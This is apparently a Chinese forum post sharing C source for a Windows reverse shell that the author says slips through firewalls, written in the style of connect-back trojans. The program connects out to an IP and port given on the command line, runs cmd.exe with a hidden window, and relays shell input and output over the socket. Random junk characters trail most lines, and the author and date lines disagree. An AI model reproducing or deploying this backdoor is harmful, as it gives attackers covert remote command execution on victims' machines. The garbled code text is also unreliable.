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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 K/Q^8%Z  
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/* ============================== \UI7H1XDH  
Rebound port in Windows NT =,0E]M Z  
By wind,2006/7 m~%\f8w-x  
===============================*/ 1F*gPhm  
#include 6(4FC?Y7  
#include nB?$W4  
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#pragma comment(lib,"wsock32.lib") \|Pp%U [  
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void OutputShell();  ?[Od.  
SOCKET sClient; VLW<"7I 6\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @ U6Iw"@  
kP9DCDO`[5  
void main(int argc,char **argv) "nX L7N0  
{ * B!uYP  
WSADATA stWsaData;  4I7}  
int nRet; !Q!= =*1H  
SOCKADDR_IN stSaiClient,stSaiServer; [*U6L<JI  
B1>aR 7dsf  
if(argc != 3) ~:r:?PwWG  
{ S[rz=[7{  
printf("Useage:\n\rRebound DestIP DestPort\n");  V3WHp'1  
return; S6gg(nNe  
} x@3Ix, b'  
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WSAStartup(MAKEWORD(2,2),&stWsaData); (]0JI1 d  
:R+}[|FV  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {)]5o| Hx  
)(`I1"1   
stSaiClient.sin_family = AF_INET; _,:gSDW|  
stSaiClient.sin_port = htons(0); RnV )*  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )IQa]A  
Md_S};!QN6  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5q<AMg  
{ I!?-lI@(  
printf("Bind Socket Failed!\n"); :,03)[u{8  
return;  L5/J  
} xMNUy B{?  
rf_(pp)  
stSaiServer.sin_family = AF_INET; /1ZRjf^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Q@gmtAp  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :/ ,h)h)|  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) XlP q>@4p  
{ Q$!dPwDg  
printf("Connect Error!"); H1iewsfzH  
return; bK:mt`  
} ?-w<H!Y7  
OutputShell(); T$[50~  
} *;7~aM  
7 lc -  
void OutputShell() JgQ,,p_V?  
{ qyzmjV6J2  
char szBuff[1024]; Fd!Np7xw  
SECURITY_ATTRIBUTES stSecurityAttributes; KITC,@xE_O  
OSVERSIONINFO stOsversionInfo; r:fMd3;gq  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .} al s  
STARTUPINFO stStartupInfo; ~>v v9-_  
char *szShell; w1tWyKq  
PROCESS_INFORMATION stProcessInformation; v4c*6(m  
unsigned long lBytesRead; F uYjrzmx  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); C s XV0  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); LsB|}_j7  
stSecurityAttributes.lpSecurityDescriptor = 0; `5da  
stSecurityAttributes.bInheritHandle = TRUE; _Q XC5i  
Msj(>U&}+  
Z !HQ|')N5  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);  !4Q0   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Egy#_ RT{  
*?Hc8y-dG,  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xZbiEDU  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lg6;FbY?  
stStartupInfo.wShowWindow = SW_HIDE; cV8Bl="gqe  
stStartupInfo.hStdInput = hReadPipe; cg`bbZ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3vdhoS|  
,j3Yvn W  
GetVersionEx(&stOsversionInfo); {v3?.a$ u  
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switch(stOsversionInfo.dwPlatformId) Tfsx&k\  
{ ,%Go.3i[  
case 1: =(]yl_  
szShell = "command.com"; H5MO3DJ  
break; o'Rr2,lVi  
default: EhWYFQ  
szShell = "cmd.exe"; *z?Vy<u G  
break; V.\12P  
} 7bk=D~/nSg  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <D}yqq@|  
#/"?.Z;SSH  
send(sClient,szMsg,77,0); 7 &O 0  
while(1) $0[t<4K`yn  
{ )\O;Rt(  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); - K%hug  
if(lBytesRead) OdSglB  
{ ^uCZO  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .#Vup{.  
send(sClient,szBuff,lBytesRead,0); W)~}o<a)[  
} NQ3EjARZt  
else 2=]Xe#5J=  
{ Q0j4 c  
lBytesRead=recv(sClient,szBuff,1024,0); 'lWgHmE  
if(lBytesRead<=0) break; 1#Q~aY  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?GT,Y5  
} woyn6Z1JQ  
} OyG#  
$:}sm0;  
return; br3r!Vuz/-  
}
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